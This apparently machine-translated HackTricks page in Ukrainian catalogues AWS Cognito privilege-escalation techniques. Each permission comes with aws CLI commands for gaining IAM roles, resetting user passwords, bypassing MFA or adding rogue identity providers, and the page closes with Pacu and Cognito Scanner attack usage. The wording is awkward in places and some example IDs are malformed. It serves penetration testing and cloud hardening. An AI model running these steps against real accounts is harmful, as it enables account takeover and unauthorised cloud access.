AWS - Cognito Privesc

Підтримайте HackTricks

Cognito

Для отримання додаткової інформації про Cognito перегляньте:

AWS - Cognito Enum

Отримання облікових даних з пулу ідентифікації

Оскільки Cognito може надавати облікові дані ролі IAM як аутентифікованим, так і неаутентифікованим користувачам, якщо ви знаходите ідентифікатор пулу ідентифікації додатка (він повинен бути захардкоджений у ньому), ви можете отримати нові облікові дані, а отже привілеї (в межах облікового запису AWS, де ви, ймовірно, навіть не мали жодних облікових даних раніше).

Для отримання додаткової інформації перегляньте цю сторінку.

Потенційний вплив: Прямий привілей до ролі служб для неаутентифікованих користувачів (і, ймовірно, до тієї, яка прикріплена до аутентифікованих користувачів).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

З цим дозволом ви можете надавати будь-яку роль Cognito аутентифікованим/неаутентифікованим користувачам додатка Cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Якщо додаток cognito не має увімкнених невідомих користувачів, вам може знадобитися також дозвіл cognito-identity:UpdateIdentityPool, щоб увімкнути його.

Потенційний вплив: Прямий підйом привілеїв до будь-якої ролі cognito.

cognito-identity:update-identity-pool

Зловмисник з цим дозволом може, наприклад, встановити Cognito User Pool під своїм контролем або будь-який інший постачальник ідентичності, де він може увійти як спосіб доступу до цього пула ідентичності Cognito. Потім, просто увійшовши на той постачальник користувачів, він зможе отримати доступ до налаштованої аутентифікованої ролі в пулі ідентичності.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Також можливо зловживати цим дозволом, щоб дозволити базову автентифікацію:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Потенційний вплив: Компрометація налаштованої перевіреної IAM-ролі всередині пулу ідентифікації.

cognito-idp:AdminAddUserToGroup

Ця дозвіл дозволяє додавати користувача Cognito до групи Cognito, тому зловмисник може використовувати цей дозвіл, щоб додати користувача під своїм контролем до інших груп з кращими привілеями або різними IAM-ролями:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Потенційний вплив: Підвищення привілеїв для інших груп Cognito та ролей IAM, прикріплених до груп користувачів басейну.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Зловмисник з цими дозволами може створювати/оновлювати групи з кожною роллю IAM, яку можна використовувати компрометованим постачальником ідентичності Cognito та робити компрометованого користувача частиною групи, отримуючи доступ до всіх цих ролей:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Потенційний вплив: Підвищення привілеїв до інших ролей IAM Cognito.

cognito-idp:AdminConfirmSignUp

Ця дозвіл дозволяє підтверджувати реєстрацію. За замовчуванням будь-хто може увійти до додатків Cognito, якщо це залишено, користувач може створити обліковий запис з будь-якими даними та підтвердити його за допомогою цього дозволу.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Потенційний вплив: Непряме підвищення привілеїв до ролі IAM пула ідентифікації для автентифікованих користувачів, якщо ви можете зареєструвати нового користувача. Непряме підвищення привілеїв до інших функцій додатку, можливість підтвердження будь-якого облікового запису.

cognito-idp:AdminCreateUser

Ця дозвіл дозволить атакуючому створити нового користувача всередині пула користувачів. Новий користувач створюється увімкненим, але йому потрібно буде змінити свій пароль.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Потенційний вплив: Пряме підвищення привілеїв до ролі IAM басейну ідентичності для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій додатку, здатне створювати будь-якого користувача

cognito-idp:AdminEnableUser

Ці дозволи можуть допомогти в дуже рідкісному випадку, коли зловмисник знайшов облікові дані вимкненого користувача і йому потрібно знову ввімкнути його.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Потенційний вплив: Непряме підвищення привілеїв до ролі IAM пула ідентифікаторів для автентифікованих користувачів та дозволів користувача у разі, якщо зловмисник має облікові дані для вимкненого користувача.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Ця дозвіл дозволяє увійти за допомогою методу ADMIN_USER_PASSWORD_AUTH. Для отримання додаткової інформації перейдіть за посиланням.

cognito-idp:AdminSetUserPassword

Цей дозвіл дозволить зловмиснику змінити пароль будь-якого користувача, що дозволить йому уособлювати будь-якого користувача (якщо у нього немає увімкненого MFA).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Потенційний вплив: Пряме підвищення привілеїв до можливо будь-якого користувача, тобто доступ до всіх груп, до яких належить кожен користувач, та доступ до ролі IAM, яка була аутентифікована в басейні ідентичності.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Зловмисник може потенційно скористатися цим дозволом, щоб встановити мобільний телефон під своїм керуванням як SMS MFA користувача.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Подібно до попередньої ця дозвіл може бути використаний для встановлення вподобань MFA користувача для обхідної захисту MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Подібно до попередньої ця дозвіл може бути використаний для встановлення налаштувань MFA для пулу користувачів для обхідної захисту MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

Оновлення пулу користувачів: Також можливо оновити пул користувачів, щоб змінити політику багатофакторної автентифікації. Перевірте cli тут.

Потенційний вплив: Непряме підвищення привілеїв для потенційно будь-якого користувача, у якого зловмисник знає облікові дані, це може дозволити обійти захист багатофакторної автентифікації.

cognito-idp:AdminUpdateUserAttributes

Зловмисник з цим дозволом може змінити електронну пошту або номер телефону або будь-який інший атрибут користувача під своїм контролем, щоб спробувати отримати більше привілеїв в підсистемній програмі. Це дозволяє змінювати електронну пошту або номер телефону та встановлювати їх як підтверджені.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Потенційний вплив: Потенційний непрямий підвищення привілеїв в базовій програмі, використовуючи Cognito User Pool, яка надає привілеї на основі атрибутів користувача.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Зловмисник з цим дозволом може створити нового клієнта пулу користувачів менш обмеженого, ніж вже існуючі клієнти пулу. Наприклад, новий клієнт може дозволяти будь-який метод аутентифікації, не мати жодного секрету, мати вимкнення скасування токенів, дозволяти токенам бути дійсними протягом тривалішого періоду...

Те ж саме може бути зроблено, якщо замість створення нового клієнта, змінюється існуючий.

У командному рядку (або в оновленні) ви можете побачити всі параметри, перевірте це!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Потенційний вплив: Потенційний опосередкований підвищення привілеїв до користувача, авторизованого в Ідентифікаційному пулі, який використовується Користувацьким пулом, створивши нового клієнта, який послаблює заходи безпеки і дозволяє зловмиснику увійти за користувача, якого він зміг створити.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Зловмисник може скористатися цим дозволом для створення користувачів, завантаживши csv-файл з новими користувачами.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

Можливі наслідки: Пряме підвищення привілеїв до ролі IAM пула ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій додатку, здатних створювати будь-якого користувача.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Зловмисник може створити нового постачальника ідентичності, щоб потім мати можливість увійти через цього постачальника.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Потенційний вплив: Пряме підвищення привілеїв до ролі IAM пула ідентифікації для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій додатку, здатне створювати будь-якого користувача.

Аналіз cognito-sync:*

Це дуже поширене дозвіл за замовчуванням в ролях пулів ідентифікації Cognito. Навіть якщо дозвіл зі зірочкою в завжди виглядає погано (особливо коли йдеться про AWS), надані дозволи не є дуже корисними з точки зору атакуючого.

Цей дозвіл дозволяє читати інформацію про використання пулів ідентифікації та ідентифікатори ідентичності всередині пулів ідентифікації (що не є чутливою інформацією). Ідентифікатори ідентичності можуть мати Набори даних, призначені для них, які є інформацією про сесії (AWS визначає це як збережену гру). Можливо, що тут міститься якась чутлива інформація (але ймовірність цього досить низька). Ви можете знайти на сторінці переліку як отримати доступ до цієї інформації.

Атакуючий також може використовувати ці дозволи для запису себе до потоку Cognito, який публікує зміни в цих наборах даних або лямбди, яка спрацьовує на події Cognito. Я не бачив, щоб це використовувалося, і не очікував би тут чутливої інформації, але це не є неможливим.

Автоматичні Інструменти

  • Pacu, фреймворк експлуатації AWS, тепер включає модулі "cognito__enum" та "cognito__attack", які автоматизують перелік всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувача, використовані для контролю доступу тощо, а також автоматизують створення користувача (включаючи підтримку MFA) та підвищення привілеїв на основі змінюваних користувацьких атрибутів, використовуваних облікових даних пулу ідентичності, ролей, які можна припускати в ідентифікаційних токенах тощо.

Для опису функцій модулів див. частину 2 у пості блогу. Інструкції щодо установки див. на головній сторінці Pacu.

Використання

Приклад використання cognito__attack для спроби створення користувача та всіх векторів підвищення привілеїв проти заданого пула ідентичності та клієнта пула користувачів:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Приклад використання cognito\_\_enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичності, користувачів тощо, які видно в поточному обліковому записі AWS:
Pacu (new:test) > run cognito__enum
  • Cognito Scanner - це інструмент командного рядка на Python, який реалізує різні атаки на Cognito, включаючи підвищення привілеїв.

Встановлення

$ pip install cognito-scanner

Використання

$ cognito-scanner --help

Для отримання додаткової інформації перевірте https://github.com/padok-team/cognito-scanner

Підтримайте HackTricks

Last updated